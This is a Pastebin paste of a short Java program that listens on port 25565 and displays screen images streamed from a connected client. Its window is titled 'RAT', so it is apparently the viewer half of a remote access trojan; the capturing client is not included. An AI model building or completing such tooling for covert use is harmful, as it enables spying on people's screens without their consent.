Chiddix

Server

Jun 17th, 2012
114
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Java 1.30 KB | None | 0 0
  1. import java.awt.Graphics;
  2. import java.awt.image.BufferedImage;
  3. import java.io.IOException;
  4. import java.io.ObjectInputStream;
  5. import java.net.ServerSocket;
  6. import java.net.Socket;
  7.  
  8. import javax.imageio.ImageIO;
  9. import javax.swing.JFrame;
  10.  
  11. @SuppressWarnings("serial")
  12. public class Server extends JFrame {
  13.  
  14.     private BufferedImage image;
  15.     private BufferedImage oldImage;
  16.  
  17.     public Server() {
  18.         setTitle("RAT");
  19.         setResizable(false);
  20.         setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
  21.     }
  22.  
  23.     public static void main(String[] args) throws IOException {
  24.         try {
  25.             Server server = new Server();
  26.  
  27.             ServerSocket serverSocket = new ServerSocket(25565);
  28.             Socket clientSocket = serverSocket.accept();
  29.             System.out.println("Connection accepted!");
  30.  
  31.             ObjectInputStream in = new ObjectInputStream(clientSocket.getInputStream());
  32.             int width = in.readShort();
  33.             int height = in.readShort();
  34.             server.setSize(width, height);
  35.             server.setVisible(true);
  36.  
  37.             while (true) {
  38.                 server.image = ImageIO.read(in);
  39.                 if(server.image != null) {
  40.                     server.oldImage = server.image;
  41.                 } else {
  42.                     server.image = server.oldImage;
  43.                 }
  44.                 server.repaint();
  45.             }
  46.         } catch (IOException e) {
  47.             e.printStackTrace();
  48.         }
  49.     }
  50.  
  51.     public void paint(Graphics g) {
  52.         g.drawImage(image, 0, 0, this);
  53.     }
  54. }
Advertisement
Add Comment
Please, Sign In to add comment